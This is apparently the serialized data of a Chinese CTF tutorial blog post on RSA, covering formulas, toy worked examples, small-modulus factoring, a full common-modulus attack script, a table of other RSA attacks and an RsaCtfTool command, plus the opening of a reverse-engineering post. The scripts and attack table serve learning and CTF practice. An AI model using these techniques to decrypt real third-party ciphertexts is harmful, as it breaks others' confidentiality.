[{"data":1,"prerenderedAt":14416},["ShallowReactive",2],{"blog-post-/blogs/ctf-crypto-rsa-deep-dive":3,"all-blogs-for-navigation":1081},{"id":4,"title":5,"body":6,"description":1066,"extension":1067,"meta":1068,"navigation":196,"ogImage":1070,"path":1077,"seo":1078,"stem":1079,"__hash__":1080},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":7,"value":8,"toc":1054},"minimark",[9,14,18,21,57,71,75,101,105,113,116,131,135,142,148,252,255,261,268,272,277,282,287,306,308,314,321,325,330,415,417,423,433,437,447,476,480,484,494,500,504,509,514,521,527,530,536,540,719,721,727,731,804,808,873,882,886,889,895,898,902,907,921,923,929,933,942,992,994,1000,1004,1039,1043,1050],[10,11,13],"h3",{"id":12},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[15,16,17],"p",{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[15,19,20],{},"DH 最小实现（见密码学全景篇）：",[22,23,28],"pre",{"className":24,"code":25,"language":26,"meta":27,"style":27},"language-python shiki shiki-themes dracula","p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n","python","",[29,30,31,39,45,51],"code",{"__ignoreMap":27},[32,33,36],"span",{"class":34,"line":35},"line",1,[32,37,38],{},"p, g = 0xffffffffffffffc5, 2\n",[32,40,42],{"class":34,"line":41},2,[32,43,44],{},"a, b = 1234567, 7654321\n",[32,46,48],{"class":34,"line":47},3,[32,49,50],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[32,52,54],{"class":34,"line":53},4,[32,55,56],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,58,59,60,63,64,66,67,70],{},"RSA 的安全基础是：已知 ",[29,61,62],{},"n"," 求 ",[29,65,15],{},"、",[29,68,69],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,72,74],{"id":73},"二环境准备","二、环境准备",[22,76,80],{"className":77,"code":78,"language":79,"meta":27,"style":27},"language-bash shiki shiki-themes dracula","pip3 install pycryptodome sympy gmpy2\n","bash",[29,81,82],{"__ignoreMap":27},[32,83,84,88,92,95,98],{"class":34,"line":35},[32,85,87],{"class":86},"sAOxA","pip3",[32,89,91],{"class":90},"s-mGx"," install",[32,93,94],{"class":90}," pycryptodome",[32,96,97],{"class":90}," sympy",[32,99,100],{"class":90}," gmpy2\n",[10,102,104],{"id":103},"三核心知识rsa-公式","三、核心知识：RSA 公式",[22,106,111],{"className":107,"code":109,"language":110,"meta":27},[108],"language-text","n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n","text",[29,112,109],{"__ignoreMap":27},[15,114,115],{},"三个必须会用的 Python 运算：",[22,117,119],{"className":24,"code":118,"language":26,"meta":27,"style":27},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[29,120,121,126],{"__ignoreMap":27},[32,122,123],{"class":34,"line":35},[32,124,125],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[32,127,128],{"class":34,"line":41},[32,129,130],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,132,134],{"id":133},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,136,137,141],{},[138,139,140],"strong",{},"目的","：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,143,144,147],{},[138,145,146],{},"思路","：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[22,149,151],{"className":24,"code":150,"language":26,"meta":27,"style":27},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[29,152,153,158,163,168,173,179,185,191,198,204,210,216,222,228,234,240,246],{"__ignoreMap":27},[32,154,155],{"class":34,"line":35},[32,156,157],{},"p, q, e = 61, 53, 17\n",[32,159,160],{"class":34,"line":41},[32,161,162],{},"n = p * q\n",[32,164,165],{"class":34,"line":47},[32,166,167],{},"# n = 3233，公钥模数。\n",[32,169,170],{"class":34,"line":53},[32,171,172],{},"phi = (p - 1) * (q - 1)\n",[32,174,176],{"class":34,"line":175},5,[32,177,178],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[32,180,182],{"class":34,"line":181},6,[32,183,184],{},"d = pow(e, -1, phi)\n",[32,186,188],{"class":34,"line":187},7,[32,189,190],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[32,192,194],{"class":34,"line":193},8,[32,195,197],{"emptyLinePlaceholder":196},true,"\n",[32,199,201],{"class":34,"line":200},9,[32,202,203],{},"m = 65\n",[32,205,207],{"class":34,"line":206},10,[32,208,209],{},"c = pow(m, e, n)\n",[32,211,213],{"class":34,"line":212},11,[32,214,215],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[32,217,219],{"class":34,"line":218},12,[32,220,221],{},"print(\"n =\", n)\n",[32,223,225],{"class":34,"line":224},13,[32,226,227],{},"print(\"phi =\", phi)\n",[32,229,231],{"class":34,"line":230},14,[32,232,233],{},"print(\"d =\", d)\n",[32,235,237],{"class":34,"line":236},15,[32,238,239],{},"print(\"c =\", c)\n",[32,241,243],{"class":34,"line":242},16,[32,244,245],{},"print(\"解密 =\", pow(c, d, n))\n",[32,247,249],{"class":34,"line":248},17,[32,250,251],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,253,254],{},"实际输出：",[22,256,259],{"className":257,"code":258,"language":110,"meta":27},[108],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[29,260,258],{"__ignoreMap":27},[15,262,263,264,267],{},"攻击者只有 ",[29,265,266],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,269,271],{"id":270},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,273,274,276],{},[138,275,140],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,278,279,281],{},[138,280,146],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[283,284,286],"h4",{"id":285},"_51-用-sympy-分解","5.1 用 sympy 分解",[22,288,290],{"className":24,"code":289,"language":26,"meta":27,"style":27},"from sympy import factorint\n\nprint(factorint(3233))\n",[29,291,292,297,301],{"__ignoreMap":27},[32,293,294],{"class":34,"line":35},[32,295,296],{},"from sympy import factorint\n",[32,298,299],{"class":34,"line":41},[32,300,197],{"emptyLinePlaceholder":196},[32,302,303],{"class":34,"line":47},[32,304,305],{},"print(factorint(3233))\n",[15,307,254],{},[22,309,312],{"className":310,"code":311,"language":110,"meta":27},[108],"{53: 1, 61: 1}\n",[29,313,311],{"__ignoreMap":27},[15,315,316,317,320],{},"得到 ",[29,318,319],{},"p=53, q=61","。",[283,322,324],{"id":323},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,326,327,329],{},[138,328,146],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[22,331,333],{"className":24,"code":332,"language":26,"meta":27,"style":27},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[29,334,335,340,345,349,354,359,364,369,373,377,381,386,391,395,400,405,410],{"__ignoreMap":27},[32,336,337],{"class":34,"line":35},[32,338,339],{},"from Crypto.Util.number import long_to_bytes\n",[32,341,342],{"class":34,"line":41},[32,343,344],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[32,346,347],{"class":34,"line":47},[32,348,197],{"emptyLinePlaceholder":196},[32,350,351],{"class":34,"line":53},[32,352,353],{},"n = 3233\n",[32,355,356],{"class":34,"line":175},[32,357,358],{},"e = 17\n",[32,360,361],{"class":34,"line":181},[32,362,363],{},"c = 2790\n",[32,365,366],{"class":34,"line":187},[32,367,368],{},"p, q = 53, 61\n",[32,370,371],{"class":34,"line":193},[32,372,197],{"emptyLinePlaceholder":196},[32,374,375],{"class":34,"line":200},[32,376,172],{},[32,378,379],{"class":34,"line":206},[32,380,184],{},[32,382,383],{"class":34,"line":212},[32,384,385],{},"m = pow(c, d, n)\n",[32,387,388],{"class":34,"line":218},[32,389,390],{},"# 解密：m = c^d mod n。\n",[32,392,393],{"class":34,"line":224},[32,394,197],{"emptyLinePlaceholder":196},[32,396,397],{"class":34,"line":230},[32,398,399],{},"print(\"m =\", m)\n",[32,401,402],{"class":34,"line":236},[32,403,404],{},"print(long_to_bytes(m))\n",[32,406,407],{"class":34,"line":242},[32,408,409],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[32,411,412],{"class":34,"line":248},[32,413,414],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,416,254],{},[22,418,421],{"className":419,"code":420,"language":110,"meta":27},[108],"m = 65\nb'A'\n",[29,422,420],{"__ignoreMap":27},[15,424,425,428,429,432],{},[29,426,427],{},"65"," 对应的 ASCII 字符是 ",[29,430,431],{},"A","。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[283,434,436],{"id":435},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,438,439,440,446],{},"如果 n 太大本地分解不动，去 ",[441,442,443],"a",{"href":443,"rel":444},"https://factordb.com",[445],"nofollow"," 粘贴 n 查询，或：",[22,448,450],{"className":24,"code":449,"language":26,"meta":27,"style":27},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[29,451,452,457,461,466,471],{"__ignoreMap":27},[32,453,454],{"class":34,"line":35},[32,455,456],{},"from factordb.factordb import FactorDB\n",[32,458,459],{"class":34,"line":41},[32,460,197],{"emptyLinePlaceholder":196},[32,462,463],{"class":34,"line":47},[32,464,465],{},"f = FactorDB(n)\n",[32,467,468],{"class":34,"line":53},[32,469,470],{},"f.connect()\n",[32,472,473],{"class":34,"line":175},[32,474,475],{},"p, q = f.get_factor_list()\n",[10,477,479],{"id":478},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[283,481,483],{"id":482},"_61-场景","6.1 场景",[15,485,486,487,489,490,493],{},"同一个 ",[29,488,62],{},"、两个互质的 ",[29,491,492],{},"e1, e2","、同一明文：",[22,495,498],{"className":496,"code":497,"language":110,"meta":27},[108],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[29,499,497],{"__ignoreMap":27},[283,501,503],{"id":502},"_62-数学原理","6.2 数学原理",[15,505,506,508],{},[138,507,140],{},"：理解为什么\"两个密文能拼出明文\"。",[15,510,511,513],{},[138,512,146],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,515,516,517,520],{},"扩展欧几里得算法求出 ",[29,518,519],{},"a, b"," 使：",[22,522,525],{"className":523,"code":524,"language":110,"meta":27},[108],"a × e1 + b × e2 = 1\n",[29,526,524],{"__ignoreMap":27},[15,528,529],{},"则：",[22,531,534],{"className":532,"code":533,"language":110,"meta":27},[108],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[29,535,533],{"__ignoreMap":27},[283,537,539],{"id":538},"_63-完整代码","6.3 完整代码",[22,541,543],{"className":24,"code":542,"language":26,"meta":27,"style":27},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[29,544,545,550,555,560,565,570,575,579,583,588,592,597,602,606,611,616,621,626,631,637,643,649,655,661,667,673,679,684,690,695,701,707,713],{"__ignoreMap":27},[32,546,547],{"class":34,"line":35},[32,548,549],{},"def egcd(a, b):\n",[32,551,552],{"class":34,"line":41},[32,553,554],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[32,556,557],{"class":34,"line":47},[32,558,559],{},"    if b == 0:\n",[32,561,562],{"class":34,"line":53},[32,563,564],{},"        return a, 1, 0\n",[32,566,567],{"class":34,"line":175},[32,568,569],{},"    g, x, y = egcd(b, a % b)\n",[32,571,572],{"class":34,"line":181},[32,573,574],{},"    return g, y, x - (a // b) * y\n",[32,576,577],{"class":34,"line":187},[32,578,197],{"emptyLinePlaceholder":196},[32,580,581],{"class":34,"line":193},[32,582,353],{},[32,584,585],{"class":34,"line":200},[32,586,587],{},"e1, e2 = 17, 19\n",[32,589,590],{"class":34,"line":206},[32,591,203],{},[32,593,594],{"class":34,"line":212},[32,595,596],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[32,598,599],{"class":34,"line":218},[32,600,601],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[32,603,604],{"class":34,"line":224},[32,605,197],{"emptyLinePlaceholder":196},[32,607,608],{"class":34,"line":230},[32,609,610],{},"_, a, b = egcd(e1, e2)\n",[32,612,613],{"class":34,"line":236},[32,614,615],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[32,617,618],{"class":34,"line":242},[32,619,620],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[32,622,623],{"class":34,"line":248},[32,624,625],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[32,627,629],{"class":34,"line":628},18,[32,630,197],{"emptyLinePlaceholder":196},[32,632,634],{"class":34,"line":633},19,[32,635,636],{},"# 负指数要先取模逆元\n",[32,638,640],{"class":34,"line":639},20,[32,641,642],{},"if a \u003C 0:\n",[32,644,646],{"class":34,"line":645},21,[32,647,648],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[32,650,652],{"class":34,"line":651},22,[32,653,654],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[32,656,658],{"class":34,"line":657},23,[32,659,660],{},"else:\n",[32,662,664],{"class":34,"line":663},24,[32,665,666],{},"    c1 = pow(c1, a, n)\n",[32,668,670],{"class":34,"line":669},25,[32,671,672],{},"if b \u003C 0:\n",[32,674,676],{"class":34,"line":675},26,[32,677,678],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[32,680,682],{"class":34,"line":681},27,[32,683,660],{},[32,685,687],{"class":34,"line":686},28,[32,688,689],{},"    c2 = pow(c2, b, n)\n",[32,691,693],{"class":34,"line":692},29,[32,694,197],{"emptyLinePlaceholder":196},[32,696,698],{"class":34,"line":697},30,[32,699,700],{},"recovered = (c1 * c2) % n\n",[32,702,704],{"class":34,"line":703},31,[32,705,706],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[32,708,710],{"class":34,"line":709},32,[32,711,712],{},"print(\"恢复 m =\", recovered)\n",[32,714,716],{"class":34,"line":715},33,[32,717,718],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,720,254],{},[22,722,725],{"className":723,"code":724,"language":110,"meta":27},[108],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[29,726,724],{"__ignoreMap":27},[10,728,730],{"id":729},"七其他常见攻击速查","七、其他常见攻击速查",[732,733,734,747],"table",{},[735,736,737],"thead",{},[738,739,740,744],"tr",{},[741,742,743],"th",{},"场景",[741,745,746],{},"攻击",[748,749,750,769,777,785,793],"tbody",{},[738,751,752,762],{},[753,754,755,758,759],"td",{},[29,756,757],{},"e=3"," 且 ",[29,760,761],{},"m^e \u003C n",[753,763,764,765,768],{},"直接开立方根（",[29,766,767],{},"gmpy2.iroot(c, 3)","）",[738,770,771,774],{},[753,772,773],{},"同一明文发给 3 个不同 n",[753,775,776],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[738,778,779,782],{},[753,780,781],{},"e 特别大（d 很小）",[753,783,784],{},"Wiener 攻击（连分数）",[738,786,787,790],{},[753,788,789],{},"p、q 很接近",[753,791,792],{},"Fermat 分解（平方差）",[738,794,795,798],{},[753,796,797],{},"泄露 dp",[753,799,800,801],{},"枚举 k，",[29,802,803],{},"p = (e*dp-1)//k + 1",[10,805,807],{"id":806},"八必学工具","八、必学工具",[732,809,810,823],{},[735,811,812],{},[738,813,814,817,820],{},[741,815,816],{},"工具",[741,818,819],{},"3 个核心功能",[741,821,822],{},"示例",[748,824,825,844,860],{},[738,826,827,830,841],{},[753,828,829],{},"pycryptodome",[753,831,832,66,835,66,838],{},[29,833,834],{},"long_to_bytes",[29,836,837],{},"inverse",[29,839,840],{},"pow(m,e,n)",[753,842,843],{},"见上文",[738,845,846,849,855],{},[753,847,848],{},"sympy",[753,850,851,854],{},[29,852,853],{},"factorint"," 分解",[753,856,857],{},[29,858,859],{},"factorint(3233)",[738,861,862,865,868],{},[753,863,864],{},"RsaCtfTool",[753,866,867],{},"自动尝试多种攻击、从公钥文件读取",[753,869,870],{},[29,871,872],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,874,875,876,881],{},"FactorDB（",[441,877,880],{"href":878,"rel":879},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[445],"https://factordb.com）用于查"," n 的已知分解。",[10,883,885],{"id":884},"九小-ctf-实战","九、小 CTF 实战",[15,887,888],{},"题目：",[22,890,893],{"className":891,"code":892,"language":110,"meta":27},[108],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[29,894,892],{"__ignoreMap":27},[15,896,897],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[283,899,901],{"id":900},"第一步分解","第一步：分解",[15,903,904,906],{},[138,905,146],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[22,908,910],{"className":24,"code":909,"language":26,"meta":27,"style":27},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[29,911,912,916],{"__ignoreMap":27},[32,913,914],{"class":34,"line":35},[32,915,296],{},[32,917,918],{"class":34,"line":41},[32,919,920],{},"print(factorint(1000000016000000063))\n",[15,922,254],{},[22,924,927],{"className":925,"code":926,"language":110,"meta":27},[108],"{1000000007: 1, 1000000009: 1}\n",[29,928,926],{"__ignoreMap":27},[283,930,932],{"id":931},"第二步解密","第二步：解密",[15,934,935,937,938,941],{},[138,936,146],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[29,939,940],{},"b'flag'"," 说明解密成功。",[22,943,945],{"className":24,"code":944,"language":26,"meta":27,"style":27},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[29,946,947,951,955,960,965,970,975,979,983,987],{"__ignoreMap":27},[32,948,949],{"class":34,"line":35},[32,950,339],{},[32,952,953],{"class":34,"line":41},[32,954,197],{"emptyLinePlaceholder":196},[32,956,957],{"class":34,"line":47},[32,958,959],{},"n = 1000000016000000063\n",[32,961,962],{"class":34,"line":53},[32,963,964],{},"e = 65537\n",[32,966,967],{"class":34,"line":175},[32,968,969],{},"c = 856868007642616233\n",[32,971,972],{"class":34,"line":181},[32,973,974],{},"p, q = 1000000007, 1000000009\n",[32,976,977],{"class":34,"line":187},[32,978,197],{"emptyLinePlaceholder":196},[32,980,981],{"class":34,"line":193},[32,982,172],{},[32,984,985],{"class":34,"line":200},[32,986,184],{},[32,988,989],{"class":34,"line":206},[32,990,991],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,993,254],{},[22,995,998],{"className":996,"code":997,"language":110,"meta":27},[108],"b'flag'\n",[29,999,997],{"__ignoreMap":27},[283,1001,1003],{"id":1002},"第三步工具验证","第三步：工具验证",[22,1005,1007],{"className":77,"code":1006,"language":79,"meta":27,"style":27},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[29,1008,1009],{"__ignoreMap":27},[32,1010,1011,1014,1018,1021,1024,1027,1030,1033,1036],{"class":34,"line":35},[32,1012,1013],{"class":86},"./RsaCtfTool.py",[32,1015,1017],{"class":1016},"sIQBb"," -n",[32,1019,1020],{"class":1016}," 1000000016000000063",[32,1022,1023],{"class":1016}," -e",[32,1025,1026],{"class":1016}," 65537",[32,1028,1029],{"class":1016}," --uncipher",[32,1031,1032],{"class":1016}," 856868007642616233",[32,1034,1035],{"class":1016}," --attack",[32,1037,1038],{"class":90}," all\n",[10,1040,1042],{"id":1041},"十小结","十、小结",[15,1044,1045,1046,1049],{},"RSA 解题顺序：",[138,1047,1048],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1051,1052,1053],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":27,"searchDepth":41,"depth":41,"links":1055},[1056,1057,1058,1059,1060,1061,1062,1063,1064,1065],{"id":12,"depth":47,"text":13},{"id":73,"depth":47,"text":74},{"id":103,"depth":47,"text":104},{"id":133,"depth":47,"text":134},{"id":270,"depth":47,"text":271},{"id":478,"depth":47,"text":479},{"id":729,"depth":47,"text":730},{"id":806,"depth":47,"text":807},{"id":884,"depth":47,"text":885},{"id":1041,"depth":47,"text":1042},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。","md",{"date":1069,"image":1070,"alt":1071,"tags":1072,"published":196},"14th Aug 2026","/blogs-img/blog7.png","RSA 深入实战",[1073,1074,1075,1076],"ctf","crypto","rsa","example","/blogs/ctf-crypto-rsa-deep-dive",{"title":5,"description":1066},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",[1082,2403,3269,4260,5217,6623,7682,8633,9731,10766,11535,12557],{"id":1083,"title":1084,"body":1085,"description":2393,"extension":1067,"meta":2394,"navigation":196,"ogImage":2395,"path":2399,"seo":2400,"stem":2401,"__hash__":2402},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":7,"value":1086,"toc":2383},[1087,1091,1094,1097,1146,1149,1151,1154,1181,1188,1192,1197,1202,1206,1209,1222,1225,1231,1242,1247,1251,1253,1265,1267,1273,1283,1299,1302,1307,1330,1334,1346,1351,1363,1368,1373,1377,1382,1399,1403,1405,1426,1429,1469,1472,1529,1532,1586,1593,1614,1618,1651,1654,1674,1681,1697,1701,1721,1723,1729,1739,1752,1756,1759,1822,1825,1848,1851,1878,1881,1885,1888,1893,1902,1914,1917,1921,1931,1933,1939,1943,1952,1954,1960,1963,1967,1976,1979,1983,1992,1998,2007,2010,2034,2041,2054,2057,2063,2066,2072,2076,2156,2166,2170,2176,2180,2185,2198,2214,2220,2224,2229,2238,2244,2253,2257,2262,2271,2336,2338,2344,2348,2361,2365,2369,2380],[10,1088,1090],{"id":1089},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,1092,1093],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,1095,1096],{},"目标程序示例：",[22,1098,1100],{"className":77,"code":1099,"language":79,"meta":27,"style":27},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[29,1101,1102,1110,1132,1141],{"__ignoreMap":27},[32,1103,1104,1107],{"class":34,"line":35},[32,1105,1106],{"class":86},"$",[32,1108,1109],{"class":90}," ./checkflag\n",[32,1111,1112,1115,1118,1122,1125,1129],{"class":34,"line":41},[32,1113,1114],{"class":86},"Usage:",[32,1116,1117],{"class":90}," ./checkflag",[32,1119,1121],{"class":1120},"s0Tla"," \u003C",[32,1123,1124],{"class":90},"fla",[32,1126,1128],{"class":1127},"sCdxs","g",[32,1130,1131],{"class":1120},">\n",[32,1133,1134,1136,1138],{"class":34,"line":47},[32,1135,1106],{"class":86},[32,1137,1117],{"class":90},[32,1139,1140],{"class":90}," test\n",[32,1142,1143],{"class":34,"line":53},[32,1144,1145],{"class":86},"Wrong!\n",[15,1147,1148],{},"解题目标：通过分析二进制，找出正确输入。",[10,1150,74],{"id":73},[15,1152,1153],{},"在 Linux（Kali/Ubuntu）上：",[22,1155,1157],{"className":77,"code":1156,"language":79,"meta":27,"style":27},"apt install file binutils gdb ltrace strace\n",[29,1158,1159],{"__ignoreMap":27},[32,1160,1161,1164,1166,1169,1172,1175,1178],{"class":34,"line":35},[32,1162,1163],{"class":86},"apt",[32,1165,91],{"class":90},[32,1167,1168],{"class":90}," file",[32,1170,1171],{"class":90}," binutils",[32,1173,1174],{"class":90}," gdb",[32,1176,1177],{"class":90}," ltrace",[32,1179,1180],{"class":90}," strace\n",[15,1182,1183,1184,1187],{},"本文以编译后的 ",[29,1185,1186],{},"checkflag"," 为例，逐步演示。",[10,1189,1191],{"id":1190},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,1193,1194,1196],{},[138,1195,140],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,1198,1199,1201],{},[138,1200,146],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[283,1203,1205],{"id":1204},"_31-file看文件类型","3.1 file：看文件类型",[15,1207,1208],{},"输入：",[22,1210,1212],{"className":77,"code":1211,"language":79,"meta":27,"style":27},"file checkflag\n",[29,1213,1214],{"__ignoreMap":27},[32,1215,1216,1219],{"class":34,"line":35},[32,1217,1218],{"class":86},"file",[32,1220,1221],{"class":90}," checkflag\n",[15,1223,1224],{},"预期输出：",[22,1226,1229],{"className":1227,"code":1228,"language":110,"meta":27},[108],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[29,1230,1228],{"__ignoreMap":27},[15,1232,1233,1234,1237,1238,1241],{},"重点看最后：",[29,1235,1236],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[29,1239,1240],{},"stripped","，函数名被删，难度更高。",[15,1243,1244,1246],{},[138,1245,140],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[283,1248,1250],{"id":1249},"_32-strings提取字符串","3.2 